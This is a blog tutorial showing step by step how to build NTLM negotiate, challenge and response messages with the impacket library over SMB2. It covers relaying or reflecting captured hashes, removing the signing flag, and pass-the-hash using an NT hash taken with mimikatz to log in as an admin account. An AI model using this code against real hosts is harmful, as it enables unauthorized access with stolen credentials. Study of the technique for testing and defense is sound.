I
have been really busy with life and stuff, add to that the fact im
attempting to learn c++ to further my exploit dev skills and my time is
almost non existent. However I wanted to take a step back and expand on
using impacket a little more. It can be VERY useful in special
situations. So lets take a closer look.
Last time we
discussed how to make your own connection, this time we will be getting
even deeper and making/passing our own hashes. Anyways lets get right
down to it shall we!
For the example we are going to
build our own hashes rather than reflect/pass them, but if you wanted to
you could setup a webdav server and relay them ;)
Lets do our imports:
from impacket.smbconnection import *
from impacket.ntlm import * #for building our hashes
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
Start building our basic packet structure for hash1:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
Build our own hash1:
hash1 = getNTLMSSPType1(signingRequired = True)
#Note that the impacket structure is actually NTLMAuthNegotiate()
We can dump it to see whats inside for debugging:
hash1.dump()
Now if we are reflecting this we need to make sure that message Signing is not one of the included flags. So lets test that and if it is there we can remove it, also you most likely captured the hash1 and are imputing it as a string so lets get it into a impacket structure. I should also not this is not required, you can always use your own hash1 and simple replay/reflect the hash2 and hash3
First put it in a structure we can use since it is probably a string:
h1 = NTLMAuthNegotiate()
h1.fromString(str(hash1))
Test our hash1 for a flag:
#You can test all the hashes this way
False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True
It should have returned True so lets remove it:
h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN
... lol thats really really bad so lets add it back in:
h1['flags'] |= NTLMSSP_SIGN
Continue formatting our hash1 structure:
blob['MechToken'] = str(hash1)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
Now we can make our connection to the server:
#If doing this in a shell you have to be quick, there are timeouts involved.
con = SMBConnection('127.0.0.1', '127.0.0.1', preferredDialect=SMB2_DIALECT_002)
con.setTimeout(120)
This is when we need the lower level stuff:
low_level = con.getSMBServer()
Now we have to build a actual SMB packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
Our packet containing hash1 should be ready to go, as with most of the structures in impacket if you would like to check its contents you can use.
packet.dump()
And it should look something like this...
Ok so its time to send it off and get our hash2:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
Before we continue note that we must MUST set our SessionID otherwise the rest of our calls won't work.
Set our SessionID:
low_level._Session['SessionID'] = resp['SessionID']
resp now contains our hash2 from the server, along with the entire rest of the packet, so to access it if we want to say replay it back to something, we need to get it into a usable format.
sessionSetupResponse = SMB2SessionSetup_Response(resp['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
hash2 = NTLMAuthChallenge()
hash2.fromString(respToken['ResponseToken'])
If we wanted to access the 8byte challenge:
hash2['challenge']
hash2.dump()
So now we are most of the way there, lets build our hash3 first. Remember you can skip this if you are just doing reflection or relay and use your own.
#This will return both the SessionKey along with hash3, if you have signing enable, set it, otherwise forget it ;) also note that the actual impacket structure is NTLMAuthChallengeResponse
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'user', 'password', 'DOMAIN')
low_level. _Session['SessionKey'] = seskey
Or if you used mimikatz and grabbed the nthash you can use it like so!
from binascii import a2b_hex
nhash = a2b_hex('5a0d0336d04ae1031f2d36bd5bd0a759')
#You need to have the '' for password if you use a nthash
hash3, seskey = getNTLMSSPType3(hash1, str(hash2), 'admin_account', '', 'WORKGROUP', nthash=nhash)
Start the structure like before and input the hash3:
respToken = SPNEGO_NegTokenResp()
respToken['ResponseToken'] = str(hash3)
Finish the SMB structure:
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
sessionSetup['SecurityBufferLength'] = len(respToken)
sessionSetup['Buffer'] = respToken.getData()
Build the packet:
packet = low_level.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
And finally we send our hash3 and get the response:
pid = low_level.sendSMB(packet)
resp = low_level.recvSMB(pid)
If everything worked properly and you are watching along with Wireshark you should see something like this, which is what the standard NTLM Negotiation looks like.
and you should have Status Success... for the last Session Setup Response...
We can then use the higher level connection same as before to do whatever we want:
shares = con.listShares()
for n in shares:
n.dump()
That's about it, just remember your permissions on the box come into play and just because you can authenticate does not mean you can do something exploitable... ;)
I have also uploaded the code in this post to github https://github.com/trump0dump/helpful
No comments:
Post a Comment